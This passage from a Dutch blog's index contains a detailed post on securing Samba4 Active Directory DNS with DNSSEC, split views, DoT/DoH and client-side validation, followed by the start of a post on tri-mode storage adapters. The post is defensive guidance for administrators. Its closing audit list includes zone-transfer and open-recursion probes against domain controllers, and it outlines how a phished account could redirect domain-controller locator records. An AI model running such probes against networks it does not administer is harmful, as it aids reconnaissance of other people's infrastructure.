bedrijfsnetwerk. Hij gaat in een dockingstation en pikt daarnaast een bedraad adres op. Iemand start de VPN en er verschijnt een tunneladapter met een derde adres. Ze gaan naar een koffiezaak, tetheren aan een telefoon, en de VPN komt terug op een vierde. Dat is één machine, één naam, en een half dozijn adressen op één werkdag — en standaard zal hij een flink aantal daarvan proberen te registreren.\nEn dus vult de zone zich met beweringen die eens waar waren.\nWindows registreert elke adapter die hij heeft, tenzij iemand langs is gegaan en per interface Register this connection\u0026rsquo;s addresses in DNS heeft uitgevinkt. Een gedockte laptop op de VPN is een machine met drie actieve adapters en een mening over alle drie. Meerdere A-records voor één naam is geen fouttoestand, het is het normale resultaat. Een lookup geeft ze allemaal terug, clients proberen ze in de volgorde die hen bevalt, en verbindingen naar die naam mislukken in verhouding tot hoeveel van die adressen dood zijn. Dit is het mechanisme achter “de helpdesk ziet de machine het ene moment en het volgende niet”. VPN-adressen zijn de ergste, want een tunneladres is een uur geldig en het record leeft langer. De tunnel valt weg, het adres uit de pool gaat naar iemand anders, en de naam wijst nu naar een collega. Dockingstations vertroebelen de identiteit zelf. Zonder MAC-doorgifte hoort de lease bij het dock en niet bij de laptop, dus in een omgeving met flexplekken drijven namen, leases en machines dagelijks van elkaar weg. En eigendom maakt het permanent. Een record kan alleen worden bijgewerkt door het account dat het heeft aangemaakt. Is een record door DHCP onder de ene inloggegevens gemaakt en probeert de machine het later onder zijn eigen bij te werken, dan mislukt de update, stil, en blijft het verouderde adres precies staan waar het stond. Het opruimverhaal is ook niet de redding die het lijkt. Samba heeft scavenging sinds 4.9, maar het staat standaard uit (dns zone scavenging = yes, met samba-tool dns zoneoptions --aging=1), en Samba zegt zelf dat het “should only be enabled on new zones or new installations”, omdat oudere versies dynamische records als statisch en statische als dynamisch markeerden. In juist de omgevingen die het vaakst vol rommel zitten — die al jaren draaien — is het gereedschap om het op te ruimen datgene waarvan je wordt aangeraden het niet aan te zetten. Het heeft ook een eigen CVE gehad.\nStel de vraag dus rechtstreeks: wat gebruikt het A-record van een laptop eigenlijk?\nIn de meeste bedrijven bijzonder weinig. Gebruikers verbinden met servers; servers verbinden niet met laptops. De echte gebruikers zijn hulpmiddelen voor helpdesk op afstand, RDP naar een werkstation op naam, en inventarisatie of monitoring — en bijna al dat gereedschap houdt zijn eigen inventaris bij en werkt vanaf een agent die zich meldt, omdat het voor mobiele clients nooit op DNS kon leunen.\nWat suggereert de standaard om te draaien:\nServers en infrastructuur krijgen records uit het inrichten. Met NetBox en Ansible al in beeld wordt het record gemaakt door hetzelfde dat de machine heeft gemaakt, is het van constructie juist, en verdwijnt het als de machine verdwijnt. Het stabiele bedrade deel kan records uit DHCP krijgen als iets ze echt nodig heeft, met één inloggegeven als eigenaar zodat updates niet mislukken. Mobiele clients registreren helemaal niets. Zij zijn gebruikers van DNS, geen publiceerders. Moet iets een laptop bereiken, dan heeft het een agent nodig en geen A-record. Je komt op dezelfde plek uit als het veiligheidsargument je bracht, langs een volstrekt andere weg. Minder schrijvers betekent een kleiner ADIDNS-oppervlak, een zone die niet vol verlopen beweringen zit, en — terug naar de pijplijn — een zone die stil genoeg is om zonder nadenken te ondertekenen.\nHet veiligheidsargument zegt dat clients de zone met de locators niet mogen schrijven. Het bedrijfsmatige argument vraagt waarom ze überhaupt DNS schrijven. In 2026, voor een vloot die vijf keer per dag van adres wisselt, is “dat doen ze niet” een volstrekt goed antwoord, en aanzienlijk minder werk dan hun rommel veilig maken.\nSplit views, en waar het vertrouwen vandaan komt Het laatste stuk knoopt de twee helften van het bericht aan elkaar.\nEr zijn twee views op de naamruimte. Een publieke zone, gepubliceerd naar het internet, met het handvol namen dat de wereld nodig heeft. En een interne view — de inhoud die uit AD komt, elke toegetreden host, elke dienstlocator, de sitetopologie — waar de wereld niets te zoeken heeft. Die inhoud is een kaart van de omgeving, en die hoort van buiten onbereikbaar en niet te transfereren te zijn.\nMaar het vertrouwen voor de interne view komt van de publieke kant, en dat maakt dit ontwerp beter dan het gebruikelijke eiland van interne DNS:\nexample.com is publiek en ondertekend, met zijn DS bij de ouder en een keten naar de root. ad.example.com is daaruit gedelegeerd. De publieke ouder publiceert de delegatie en een DS voor de sleutel van de interne zone. De interne autoritatieve servers bieden de ondertekende ad.example.com aan. De interne resolvers valideren die — root → com → example.com → ad.example.com — met niets anders dan het vertrouwensanker van de root dat ze al hadden. Geen lokaal vertrouwensanker. Geen eiland. Geen met de hand uitgedeelde sleutel. De data verlaat het gebouw nooit, en het validatiepad is het gewone publieke. Zet je er een resolver bij, dan valideert die interne namen correct met precies nul DNSSEC-configuratie.\nEven eerlijk over de afweging, want er is er een. Een delegatie en een DS in de publieke zone publiceren betekent dat het bestaan van ad.example.com, en de namen van zijn naamservers, publiek zijn. De inhoud niet, en die wordt het ook nooit — maar je hebt de wereld verteld dat de zone bestaat. In ruil daarvoor valideert elke resolver die je hebt interne namen tegen de echte root. Dat is voor de meeste omgevingen een goede ruil, en het hoort een bewuste te zijn en geen verrassing.\nTwee dingen om er goed naast te zetten:\nHoud de interne view niet op te sommen en niet te transfereren. allow-transfer op de interne autoritatieve servers is voor de ondertekenaar en je eigen secundaire servers, en verder niets. En bedenk dat bekrachtigde ontkenning met NSEC iedereen die de zone wel kan ondervragen hem van begin tot eind laat aflopen; NSEC3 maakt dat duurder, maar de echte maatregel is dat buitenstaanders de servers helemaal niet kunnen bereiken. Automatiseer de DS. Een DS bij de ouder die niet meer bij de sleutel van het kind past, trekt het hele interne domein naar SERVFAIL. CDS/CDNSKEY bestaan zodat het kind een sleutelwijziging kan aankondigen en de ouder die kan oppikken zonder dat een mens tijdens een rotatie een record zit te bewerken. Ondersteunt de registrar of provider van de ouderzone dat, gebruik het dan; en zo niet, dan moet de rotatieprocedure worden opgeschreven vóór de eerste rotatie, niet tijdens. Windows en Linux echt laten valideren Alles tot hier ging over een zone publiceren die verifieerbaar kan zijn. Niets daarvan doet iets tot er aan de clientkant iets op verifiëren staat. Een perfect ondertekende zone en een client die nooit een signatuur nakijkt leveren precies dezelfde ervaring als een niet-ondertekende zone, tot de dag dat dat niet zo is.\nEr zijn maar twee plekken waar validatie kan gebeuren, en het verschil ertussen is het verschil tussen een veiligheidsmaatregel en een vriendelijke suggestie.\nValideer bij de resolver, en vertrouw de AD-bit. De client vraagt een resolver, de resolver doet de cryptografie, en meldt het resultaat door één bit te zetten — AD, authenticated data — in het antwoord. De client gelooft de bit. Dit is het model dat Windows gebruikt, en het is precies zo sterk als het pad tussen de client en de resolver, want alles dat als de resolver kan antwoorden kan die bit zetten.\nValideer op de client zelf. De machine draait zijn eigen validerende resolver, dus het “pad naar de resolver” is een loopbacksocket binnen de machine en er is niets meer om te spoofen. Dat is sterker, en op Linux is het volledig haalbaar.\nDe standaard is niets Voordat je iets instelt, is het de moeite te zien wat een gangbaar Linux-werkstation uit de doos doet. Dit is een Fedora 44-machine, systemd 259, onaangeroerd:\n$ resolvectl status | head -3 Global Protocols: LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported resolv.conf mode: stub $ grep options /etc/resolv.conf options edns0 trust-ad $ dig +dnssec cloudflare.com A | grep flags ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 Lees die drie samen, want ze vertellen een klein verhaal.\nDe stub is ingesteld met trust-ad — hem is gezegd de AD-bit te geloven. systemd-resolved meldt DNSSEC=no/unsupported, dus hij valideert zelf niets. En het antwoord voor een ondertekende zone komt terug met de vlaggen qr rd ra en geen ad — niets in dat hele pad beweerde te hebben gevalideerd.\nDat is geen verkeerde instelling. Dat is de standaard. Een client kan worden gezegd een bewering te vertrouwen die niets in de keten doet. Er kijkt niets naar. Even de moeite om bij stil te staan voordat je iets anders instelt.\nLinux Drie opties, in toenemende orde van hoe weinig je het netwerk hoeft te vertrouwen.\n1. systemd-resolved, lokaal validerend. Een drop-in in plaats van het meegeleverde bestand bewerken:\n# /etc/systemd/resolved.conf.d/dnssec.conf [Resolve] DNSSEC=yes DNSOverTLS=opportunistic Daarna systemctl restart systemd-resolved en met resolvectl status nakijken dat de regel nu DNSSEC=yes leest.\nDe instelling om voorzichtig mee te zijn is de middelste. DNSSEC=allow-downgrade ziet uit als een verstandig compromis en is geen veiligheidsmaatregel — resolved.conf(5) zegt het zelf:\nNote that this mode makes DNSSEC validation vulnerable to \u0026ldquo;downgrade\u0026rdquo; attacks, where an attacker might be able to trigger a downgrade to non-DNSSEC mode by synthesizing a DNS response that suggests DNSSEC was not supported.\nEen aanvaller die antwoorden kan verzinnen is precies de aanvaller waarvoor DNSSEC bestaat, dus een modus die ze kunnen uitzetten door een antwoord te verzinnen koopt je tegen hen niets. Het is yes, of het is versiering.\n2. Een echte validerende resolver op de host. De validator van systemd-resolved is handig, niet grondig. Waar het uitmaakt, draai je Unbound of BIND op de loopback en laat je de stub daarnaar wijzen:\n# unbound: validate against the root anchor, refuse to be stripped server: module-config: \u0026#34;validator iterator\u0026#34; auto-trust-anchor-file: \u0026#34;/var/lib/unbound/root.key\u0026#34; harden-dnssec-stripped: yes val-permissive-mode: no # the internal zone is reached like any other name — no local anchor needed forward-zone: name: \u0026#34;ad.example.com.\u0026#34; forward-addr: 192.0.2.53 Het equivalent bij BIND is één regel — dnssec-validation auto; — die zijn ingebouwde kopie van het rootanker gebruikt en de rotatie voor je beheert.\n3. Voor de hele omgeving, op de resolvers die je al draait. Dat zijn stap vier van de pijplijn eerder in dit bericht. De validatie gebeurt daar, clients vertrouwen de AD-bit, en de hop ertussen is wat je moet beschermen — met DoT, of met een netwerk waarover je die aanname wilt doen.\nEn merk op wat in geen van die configuraties staat: een vertrouwensanker voor de interne zone. Omdat ad.example.com een delegatie binnen een publiek ondertekende zone is, valideert elk van deze interne namen via de gewone keten vanaf de root. Dat is het ontwerp uit de vorige sectie dat zich terugbetaalt. Het alternatief is een lokaal anker naar elke client en resolver in de omgeving duwen, en dat bij elke rotatie opnieuw duwen.\nWindows Eerst het belangrijkste, want het wordt routineus verkeerd begrepen: de DNS-client van Windows valideert geen DNSSEC. Hij doet geen cryptografie, kijkt geen signatuur na, en bevat geen vertrouwensanker. Het is een stubresolver, en dat is hij altijd geweest.\nWat je wel kunt doen is hem dwingen antwoorden te weigeren die niet door de server voor hem zijn gevalideerd. Dat is de Name Resolution Policy Table, en die werkt per naamruimte in plaats van overal:\n# Require validated answers for the internal zone Add-DnsClientNrptRule -Namespace \u0026#34;.ad.example.com\u0026#34; ` -DnsSecEnable -DnsSecValidationRequired # What is actually in force on this machine, including from Group Policy Get-DnsClientNrptPolicy -Effective Get-DnsClientNrptRule Voor de hele omgeving woont hetzelfde in Group Policy onder Computer Configuration → Policies → Windows Settings → Name Resolution Policy: maak een regel voor de naamruimte, vink de DNSSEC-optie aan, en vink de eis aan dat de client nakijkt dat de data door de DNS-server is gevalideerd.\nDaar volgen twee dingen uit, en beide doen ter zake.\nIets stroomopwaarts moet nog steeds het valideren doen. De NRPT-regel laat de client de AD-bit eisen; hij maakt er geen. De resolver waar die clients naar wijzen moet een validerende resolver zijn, of elke naam in die naamruimte mislukt.\nEn daarom staan er IPsec-opties naast de NRPT-regel. Microsoft heeft die er gezet om de reden die aan het begin van deze sectie staat: een bit eisen die elke aanvaller op het pad kan zetten, is niet zo\u0026rsquo;n eis. Leun je op het model waarin de resolver valideert op een onbetrouwd netwerk, dan moet de laatste hop beschermd worden — IPsec tussen client en resolver, of DoT waar de resolver dat ondersteunt.\nHet faalt dicht, dus rol het in die volgorde uit Validatie afdwingen zet een klasse stille compromitteringen om in een klasse luide storingen. Dat is de juiste ruil, en het is nog steeds een storing: een verlopen RRSIG, een DS bij de ouder die na een rotatie niet meer past, of een resolver die de ouderzone niet kan bereiken leveren allemaal SERVFAIL, en SERVFAIL voor _ldap._tcp.dc._msdcs betekent dat het domein plat ligt in plaats van dat het minder goed werkt.\nDoe het dus in deze volgorde:\nZet validatie eerst aan op de resolvers, en laat de clients met rust. Kijk een paar weken naar SERVFAIL in de resolverlogs — daar vind je de zone die al een jaar stil kapot is. Automatiseer de DS voordat je iets afdwingt, volgens de vorige sectie. De meeste zelf toegebrachte DNSSEC-storingen zijn een rotatie waarbij de ouder nooit is bijgewerkt. Dwing daarna de clients, één naamruimte per keer, te beginnen met je eigen werkstation en een test-OU in plaats van de hele omgeving. De storing waartegen je bouwt, is een client die een verzonnen domeincontroller in de handen wordt gedrukt. De storing die je riskeert, is een client die helemaal niets krijgt. De tweede is herstelbaar en zichtbaar; de eerste is geen van beide. Van de storing hoor je binnen een minuut. Van die ander had je nooit iets gehoord.\nDe laatste hop versleutelen: DoT en DoH op de interne resolvers De sectie over validatie liet één ding hangen. In het model waarin de resolver valideert — dat wat Windows je geeft — vertrouwt de client op één bit die de resolver heeft gezet, en die bit is niets meer waard dan het pad waarover hij reisde. Iets moet dat pad beschermen.\nBIND ondersteunt beide versleutelde transporten van zichzelf, dus dit is een klus van instellen en niet van inkopen:\nDNS over TLS — een tls-blok waar listen-on naar verwijst, gewoonlijk op poort 853. DNS over HTTPS — hetzelfde tls-blok plus een http-blok, op 443. Uitgaande DoT, want forwarders neemt een TLS-transport per adres of voor de hele lijst. Zonetransfers over TLS, want de primaries-verklaring van een zone met type secondary neemt er ook een — en dat is direct nuttig voor de pijplijn eerder in dit bericht. Wees eerst duidelijk over wat dit oplevert, want DoT en DNSSEC worden voortdurend door elkaar gehaald en het zijn geen alternatieven. DNSSEC bekrachtigt de data, helemaal terug tot de zone die hem publiceerde. DoT beschermt het gesprek met de resolver. De een overleeft een vijandige resolver en een vijandig netwerk tussen resolvers; de ander belet dat de machine op je wifi meeleest en herschrijft wat je laptop vroeg. Je wilt ze allebei, en de een vervangt de ander niet. De hop naar een resolver versleutelen die niet valideert, is een privégesprek met iets waartegen nog steeds gelogen kan worden.\nHet aanbieden tls internal-resolver { key-file \u0026#34;/etc/pki/dns/resolver.key\u0026#34;; cert-file \u0026#34;/etc/pki/dns/resolver.pem\u0026#34;; protocols { TLSv1.3; }; }; http internal-doh { endpoints { \u0026#34;/dns-query\u0026#34;; }; }; options { dnssec-validation auto; listen-on port 53 { 192.0.2.53; }; listen-on port 853 tls internal-resolver { 192.0.2.53; }; listen-on port 443 tls internal-resolver http internal-doh { 192.0.2.53; }; listen-on-v6 port 853 tls internal-resolver { 2001:db8::53; }; }; Het certificaat is het echte werk, en dat is het deel dat wordt overgeslagen. Een client die verifieert — en dat is het hele punt — heeft een certificaat nodig dat geldig is voor de naam waarmee hij is ingesteld, uitgegeven door iets dat hij al vertrouwt. Dat betekent je interne CA en je bestaande certificaatautomatisering, niet het sleutelwoord ephemeral. ephemeral maakt een wegwerpcertificaat dat zichzelf ondertekent; het staat er zodat je kunt aantonen dat de listener werkt, en het is waardeloos voor elke client die echt nakijkt.\nErover doorsturen Sturen die resolvers ergens naartoe door in plaats van zelf de boom af te lopen, dan kan de hop stroomopwaarts ook versleuteld — en hier zit een onderscheid dat het waard is goed te doen:\ntls upstream { ca-file \u0026#34;/etc/pki/tls/certs/ca-bundle.crt\u0026#34;; remote-hostname \u0026#34;dns.example.net\u0026#34;; }; options { forwarders port 853 tls upstream { 192.0.2.1; }; }; Zonder remote-hostname krijg je versleuteling zonder authenticatie: het verkeer is onleesbaar voor een passieve meekijker, en een actieve aanvaller die de verbinding kan onderscheppen presenteert simpelweg zijn eigen certificaat. Met remote-hostname en ca-file verifieert BIND met wie hij praat. Het eerste is iets waard. Alleen het tweede is het waard een maatregel te heten.\nDe clientkant is niet symmetrisch Hier wordt een gemengde omgeving lastig, en dit is de reden om beide transporten in te richten in plaats van er een te kiezen.\nLinux doet DoT netjes. systemd-resolved neemt DNSOverTLS=yes voor de strenge modus, en de server kan de naam mee krijgen om tegen te verifiëren:\n[Resolve] DNS=192.0.2.53#resolver.ad.example.com DNSOverTLS=yes DNSSEC=yes Net als bij DNSSEC= is de middelste instelling de val: DNSOverTLS=opportunistic valt terug op leesbare tekst als TLS niet beschikbaar is, en dat kan een aanvaller die de verbinding kan storen zelf regelen.\nWindows doet DoH, en geen DoT. Ondersteuning voor DoH aan clientkant kwam in Windows 11 en Server 2022, ingesteld per server met een template:\n$doh = \u0026#34;https://resolver.ad.example.com/dns-query\u0026#34; netsh dnsclient add encryption server=192.0.2.53 dohtemplate=$doh DoT is op het moment van schrijven alleen in Insider-builds verschenen. Op uitgebrachte Windows-versies is de versleutelde optie dus DoH of niets, en precies daarom greep de NRPT-sectie eerder naar IPsec.\nVandaar beide aanbieden uit dezelfde BIND-instantie. DoT voor de Linux-vloot en alles wat het verder spreekt, DoH voor Windows, één resolver, één certificaat.\nWelke, waar Voor een interne resolver is DoT het betere transport en DoH het antwoord op compatibiliteit.\nDoT zit op zijn eigen poort. Je kunt hem zien, toestaan, weigeren, en alarmeren op alles dat DNS doet zonder hem te gebruiken. Het voordeel van DoH — niet te onderscheiden van gewoon webverkeer op 443 — is een echt voordeel op een vijandig netwerk en een sta-in-de-weg op je eigen, waar kunnen zien wat DNS is een functie is waarvoor je hebt betaald. Op de omgeving die je zelf beheert kies je het transport dat je kunt zien, en draai je DoH omdat Windows je geen keus laat, niet omdat het beter is.\nNu je er toch bent: versleutel de transfers De pijplijn eerder in dit bericht verplaatst de AD-zone met AXFR, en de sectie over split views maakte het punt dat de inhoud ervan een kaart van de omgeving is. TSIG bekrachtigt die transfers; hij verbergt ze niet. Omdat de primaries-verklaring van een secundaire server een TLS-configuratie aanneemt, kan de transfer ook over TLS — RFC 9103 als je de standaard wilt:\nzone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 port 853 tls xfr-tls key transfer-to-signer; }; ... }; Bekrachtigd door de sleutel, versleuteld door het transport. Steekt een hop in die pijplijn een verbinding tussen locaties over, een hypervisor die je deelt, of wat dan ook waar je niet vrolijk een hub aan zou hangen, dan is het de twintig minuten waard.\nWat het niet oplost Het is geen validatie. Hierboven behandeld, en het waard te herhalen omdat leveranciers “secure DNS” verkopen en daarmee alleen versleuteling bedoelen. Het verbergt niets voor de resolver. De resolver ziet elke query volledig. Versleuteling beschermt het pad, niet de privacy van de lookup tegenover de beheerder — en dat is prima als de beheerder jij bent. Het doet niets voor een client die het certificaat niet verifieert, en opportunistische modi zijn af te zwakken door precies de aanvaller waar je je zorgen over maakt. En het is geen reden om een listener op de domeincontroller te zetten. Versleutelde DNS op de DC zou het verkeerde probleem prachtig oplossen. De DC antwoordt nog steeds niemand. Hoe je nakijkt wat je hebt Commando\u0026rsquo;s om tegen je eigen omgeving te draaien. De uitvoer is het interessante deel, en een paar ervan lezen de eerste keer nogal ongemakkelijk.\n# Walk the tree yourself, one delegation at a time dig +trace dc01.ad.example.com # Validate, and show the chain being built delv +rtrace +vtrace ad.example.com SOA # Is the resolver you are pointed at actually validating? # A deliberately broken test name must come back SERVFAIL, not an address dig @\u0026lt;resolver\u0026gt; dnssec-failed.org A # What does the estate advertise as a domain controller? dig SRV _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; dig SRV _kerberos._udp.\u0026lt;domain\u0026gt; # Is a DC answering for names it has no business answering? # Ask it for something it is not authoritative for. \u0026#34;recursion requested # but not available\u0026#34; is the answer you want. An actual address means it is # serving the estate — recursing if it is BIND, relaying to the forwarder # if it is SAMBA_INTERNAL. Either way it should not be doing that. dig @\u0026lt;dc\u0026gt; www.example.org A # Is the DC configured as the estate\u0026#39;s DNS relay? grep -E \u0026#39;dns forwarder|server services\u0026#39; /etc/samba/smb.conf # Will a DC hand its zone to anybody who asks? dig @\u0026lt;dc\u0026gt; AXFR ad.example.com # Which backend is this DC running, and does named have the module? grep -r dlz /etc/named.conf /var/lib/samba/bind-dns/ 2\u0026gt;/dev/null samba-tool dns query \u0026lt;dc\u0026gt; \u0026lt;domain\u0026gt; @ ALL # Is the internal zone chained to the public parent? dig DS ad.example.com @\u0026lt;public-authoritative-for-example.com\u0026gt; # What does the local stub actually do with the AD bit, and is the # hop to the resolver encrypted? resolvectl status # DNSSEC= and DNSOverTLS= per link grep options /etc/resolv.conf # trust-ad, trusting whom exactly? # Did anything in the path claim to have validated? Look for \u0026#34;ad\u0026#34; in the flags dig +dnssec ad.example.com SOA | grep flags # Validate independently of whatever the local resolver believes delv ad.example.com SOA # \u0026#34;fully validated\u0026#34; is the line you want # Is the resolver actually listening for DoT, and does its certificate # match the name clients are configured with? kdig +tls @192.0.2.53 ad.example.com SOA openssl s_client -connect 192.0.2.53:853 \\ -servername resolver.ad.example.com \u0026lt;/dev/null 2\u0026gt;/dev/null \\ | openssl x509 -noout -subject -dates En op een Windows-client, om te zien of hij überhaupt iets eist:\nGet-DnsClientNrptPolicy -Effective # the rules actually in force Resolve-DnsName ad.example.com -DnssecOk Get-DnsClientDohServerAddress # is the hop to the resolver encrypted? De twee die het vaakst een verrassing opleveren zijn de recursiecontrole en de poging tot AXFR. Antwoordt een DC een van die twee voor een willekeurige client, dan staat de pijplijn uit dit bericht er niet, wat het diagram op de wiki ook zegt.\nDe derde is resolvectl status op een machine die niemand heeft aangeraakt. DNSSEC=no/unsupported naast trust-ad in resolv.conf is de normale toestand van een Linux-desktop, en het betekent dat het ondertekenwerk dat hierboven staat beschreven op dit moment door niemand wordt nagekeken.\nDe korte versie Een resolver wordt geboren met kennis van de rootservers en één sleutel, en leert al het andere doordat het hem wordt verteld. Namen worden gevonden door delegaties af te lopen, en diensten worden gevonden door om een SRV-record te vragen — dus tegen de tijd dat een client met een domeincontroller aan Kerberos begint, kwam de identiteit van die domeincontroller uit een DNS-antwoord. Vinden via DNS is juist en prima. Machtigen via DNS is dat niet, en een verrassende hoeveelheid infrastructuur doet het stilletjes toch.\nDNSSEC is wat die antwoorden verifieerbaar maakt: signaturen op elke set, een DS bij elke ouder, een keten naar één vertrouwensanker bij de root, en bekrachtigde ontkenning zodat een naam niet kan worden weggemaakt. Het levert authenticatie van de herkomst en integriteit — geen privacy, en geen juistheid. Het ondertekent wat de zone ook zegt, en daarom kan het een zone niet redden die onbetrouwde machines mogen schrijven. En het heeft een ouder nodig: een verzonnen interne TLD heeft nergens een DS te plaatsen, dus .local, .lan, .internal en home.arpa laten je allemaal onondertekend of met een privé-eiland van met de hand uitgedeelde sleutels.\nVoor een Active Directory-domein levert dat een ontwerp op in plaats van een lijst instellingen. Gebruik een delegatie binnen een publieke zone die je bezit, zodat het vertrouwen langs de gewone keten van de root omlaag komt terwijl de data nooit vertrekt. Bied de AD-partities aan met BIND en dlz_bind9 — DLZ is niet het risico, het is hoe je de zone uit de directory krijgt — en laat de DC een verborgen primaire server zijn die naar buiten transfereert en niemand anders antwoordt. Een DLZ-zone kan zelf niet ondertekend worden, dus het ondertekenen is een gewone secundaire zone met de getransfereerde kopie, met inline-signing en een dnssec-policy erop: een tweede named op de DC als je minder machines wilt, een aparte host als je private sleutels van de directory af wilt. Hoe dan ook wordt het één keer ondertekend, op een vastgelegd punt, onder een sleutelbeleid — en de eerste hop is een poll en geen push, want DLZ kan geen notify sturen. Publiceer vanaf losstaande autoritatieve servers die geen sleutels bevatten en geen route naar de directory hebben.\nEn houd clients uit de zone die ertoe doet. Beveiligde dynamische update bekrachtigt de schrijver, niet de betekenis, en in een standaard AD-geïntegreerde zone zijn de schrijvers Authenticated Users — elk account, niet alleen elke machine — dus een zone met zowel laptoprecords als _msdcs-locators is één gephishte gebruiker verwijderd van een client die, met een volstrekt geldige signatuur, te horen krijgt dat de domeincontroller ergens anders is. Clientregistraties horen in een subzone, uitgedelegeerd of apart in Samba, waar het ergste wat een gecompromitteerd account kan doen liegen over zichzelf is.\nAl is de betere vraag of clients zich überhaupt zouden moeten registreren. Een laptop in 2026 heeft een adres op de wifi thuis, nog een op het kantoornetwerk, nog een via het dock en nog een op de VPN, en hij publiceert er vrolijk de meeste van. Wat het A-record van een laptop gebruikt is bijna niets — het gereedschap dat een werkstation moet bereiken houdt zijn eigen inventaris bij, want DNS was voor mobiele clients toch nooit betrouwbaar. Records voor servers horen uit het inrichten te komen, en de vloot hoort niets te registreren.\nZorg er dan voor dat iets de signaturen nakijkt, want niets van het bovenstaande is iets waard tot een client een antwoord weigert. Op Linux betekent dat DNSSEC=yes in systemd-resolved, of een echte validerende resolver op de loopback — nooit allow-downgrade, dat een aanvaller die antwoorden kan verzinnen simpelweg uitzet door een antwoord te verzinnen. Op Windows betekent het aanvaarden dat de DNS-client zelf nooit iets valideert, en met een NRPT-regel afdwingen dat hij een antwoord eist dat de resolver heeft gevalideerd, met de laatste hop beschermd omdat die eis één bit is. Zet het eerst aan op de resolvers en kijk naar SERVFAIL, automatiseer de DS, en dwing daarna de clients. Het faalt dicht, wat de juiste kant op is en nog steeds een storing.\nNiets hiervan is exotisch. Het is delegatie, transfer en ondertekenen — de drie dingen die DNS altijd heeft gedaan — zo opgesteld dat de machine met je directory niet de machine is die vragen aanneemt van de parkeerplaats, en zo dat wanneer iets wél tegen een client liegt, de client het merkt.\n","permalink":"https://blogs.damiendye.uk/nl/dns/samba4-securing-ad-records-with-dnssec/","summary":"Elke machine in het domein vindt zijn domeincontroller door DNS om een SRV-record te vragen, dus de _msdcs-locators zijn de meest veiligheidskritische records die je hebt. Zo publiceer en onderteken je ze netjes vanaf een Samba4-DC: BIND met dlz_bind9 dat de directory leest, inline ondertekenen, een verborgen primaire server waar clients nooit bij komen, en dynamische updates van clients buiten de zone met de locators. En dan hoe je Windows- en Linux-clients dwingt de signaturen echt na te kijken, want een ondertekende zone die niemand valideert gedraagt zich precies als een niet-ondertekende.","title":"Samba4 en AD-records beveiligen met DNSSEC"},{"content":"De bay die alles aanneemt Het verkooppraatje voor een tri-mode-adapter is echt goed, en het is de moeite dat netjes te vertellen voordat we het uit elkaar halen.\nKoop een kast met een U.3-backplane en een tri-mode-controller, en elke schijfbay wordt universeel. Slot 0 kan een 24G SAS-schijf bevatten, slot 1 een goedkoop SATA-opstartapparaat, slot 2 een Gen4 NVMe-SSD, en de adapter onderhandelt met wat er ook opduikt. Broadcom noemt het silicium Tri-Mode SerDes; de baystandaard is SFF-TA-1001, bekend als U.3, die een gemeenschappelijke connector definieert voor SAS x1/x2, SATA en NVMe op x1, x2 of x4. De beheerkant is SFF-TA-1005, Universal Backplane Management, en zo zoekt de behuizing uit waar hij eigenlijk mee praat en bedient hij de juiste activiteitslampjes.\nVoor wie servers specificeert lost dat een echt en irritant probleem op. Je hoeft het opslagprotocol niet meer op het moment van de inkooporder te bepalen, of twee kast-SKU\u0026rsquo;s aan te houden, of te ontdekken dat de NVMe-geschikte bays de vier links zijn en jouw schijven in de andere twintig zijn gegaan. Eén artikelnummer dekt de vloot, en een SAS-omgeving kan schijf voor schijf naar NVMe in plaats van kast voor kast.\nNiets daarvan is marketing. Het is de reden dat deze adapters verkopen, en het zou dwaas zijn te doen alsof dat niet zo is.\nMaar de flexibiliteit is niet gratis, en de rekening wordt niet in ponden betaald. Hij wordt in queues betaald.\nWat er echt met de schijf gebeurt Een NVMe-SSD is een PCIe-eindpunt. In een server met directe aansluiting lopen zijn vier lanes naar het root complex van de CPU — via een retimer of een PCIe-switch, maar elektrisch en logisch is het een apparaat op de PCIe-bus. De kernel inventariseert hem, bindt de nvme-driver, en vanaf dat punt praat de driver direct met de registers van de schijf.\nZet dezelfde schijf achter een tri-mode-adapter en dat is niet meer waar.\nDe lanes van de schijf eindigen nu bij de controller. De documentatie van Broadcom noemt het betreffende blok de PCIe device bridge, en dat woord bridge doet veel werk: dit is geen doorzichtige switch die de transacties van je CPU doorstuurt naar een schijf die hij nog kan zien. De adapter is het PCIe-eindpunt dat je host inventariseert. De schijf is een target dat aan de overkant hangt, en de firmware van de controller zet elke I/O opnieuw op.\nDirect aangesloten NVMe tegenover dezelfde schijven achter een tri-mode-adapter Direct aangesloten Achter een tri-mode-adapter CPU root complex CPU root complex x4 x4 x4 x4 vier onafhankelijke links elk ongeveer 7 GB/s, parallel x8 Gen4 alles hieronder deelt dit Tri-mode-controller het enige PCIe-eindpunt dat de host inventariseert NVMe NVMe NVMe NVMe nvme0n1 nvme1n1 nvme2n1 nvme3n1 NVMe NVMe NVMe NVMe sda sdb sdc sdd nvme-driver één paar wachtrijen per CPU-kern, per schijf bandbreedte groeit als je schijven toevoegt mpt3sas-driver \u0026#8212; de schijven zijn SCSI-targets elk wachtrijdiepte 128, één tagreserve ertussen bandbreedte stopt bij de adapter Dezelfde vier schijven, op twee manieren gedraad. Links bezit elke schijf vier lanes naar het root complex. Rechts stoppen de lanes bij de adapter, en alles stroomafwaarts deelt één x8-uplink en één controller. De adapter geeft je NVMe-commando\u0026rsquo;s dus niet door. Hij beëindigt ze, en praat namens jou met de schijf.\nWat de vraag opwerpt welk protocol hij tegen jou spreekt.\nHet besturingssysteem ziet nooit een NVMe-schijf Hij spreekt SCSI.\nPrik een NVMe-SSD in een tri-mode-HBA van Broadcom en hij komt niet als /dev/nvme0n1 naar boven. Hij komt als /dev/sdb, gebonden aan mpt3sas — dezelfde driver die al ruim tien jaar LSI SAS-controllers bedient. nvme list geeft niets terug. lsblk -o NAME,TRAN meldt het transport als sas. Voor zover elke laag van de opslagstack boven de driver het kan zien, heb je een SAS-schijf gekocht.\nDit is geen fout of een firmwarebeperking die op een oplossing wacht. Het is het ontwerp. Alles als SCSI-target presenteren is precies hoe één adapter drie protocollen bedient: de controller maakt SAS, SATA en NVMe gelijk tot één apparaatmodel, en de host krijgt één driver, één inventarisatiepad, één set gereedschap. De flexibiliteit in de marketing en de SCSI-presentatie in dmesg zijn dezelfde architectuurkeuze, van twee kanten bekeken.\nDe generaties 9500 en 9600 voegen wel een doorgeefmechanisme toe zodat gereedschap van de leverancier bij de NVMe-beheercommando\u0026rsquo;s van een schijf kan, en de nieuwere onderdelen van 